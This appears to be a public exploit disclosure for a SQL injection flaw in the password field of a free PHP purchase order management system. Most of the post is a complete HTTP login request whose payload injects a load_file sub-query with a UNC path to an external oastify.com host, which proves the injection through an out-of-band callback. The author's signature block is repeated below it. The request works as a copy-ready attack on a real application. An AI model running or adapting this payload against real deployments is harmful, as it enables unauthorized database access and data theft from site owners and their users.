POMS oretnom23v1.0 - SQLi vulnerabilities

# Title: POMS oretnom23v1.0  - SQLi vulnerabilities
# Author: nu11secur1ty
# Date: 10/01/2026
# Vendor: https://github.com/oretnom23
# Software:
https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
# Reference: https://portswigger.net/web-security/sql-injection

## Description:
The password parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select load_file('\\\\
y10in4ofvosyskgb5c9a7e55mwssgkf86bu3hu5j.oastify.com\\ifs'))+' was
submitted in the password parameter. This payload injects a SQL sub-query
that calls MySQL's load_file function with a UNC file path that references
a URL on an external domain. The application interacted with that domain,
indicating that the injected SQL query was executed.

STATUS: CRITICAL


[+]Payload:
```
POST /purchase_order/classes/Login.php?f=login HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Sec-CH-UA: "Chromium";v="151", "Not;A=Brand";v="24", "Google Chrome";v="151"
Sec-CH-UA-Mobile: ?0
Sec-CH-UA-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=io6v7ltscimb0vv716cvdphifd
Origin: http://localhost
X-Requested-With: XMLHttpRequest
Referer: http://localhost/purchase_order/admin/login.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 37

username=YIMivRgy&password=l9V!q9b!X1'%2b(select%20load_file('%5c%5c%5c%
5cy10in4ofvosyskgb5c9a7e55mwssgkf86bu3hu5j.oastify.com%5c%5cifs'))%2b'
```

# Demo:
[href](
https://odysee.com/@nu11secur1ty:b/Kousei-the-agressive-frameweork-for-sqlmap:1
)

# Time spent:
01:15:00


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
--

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>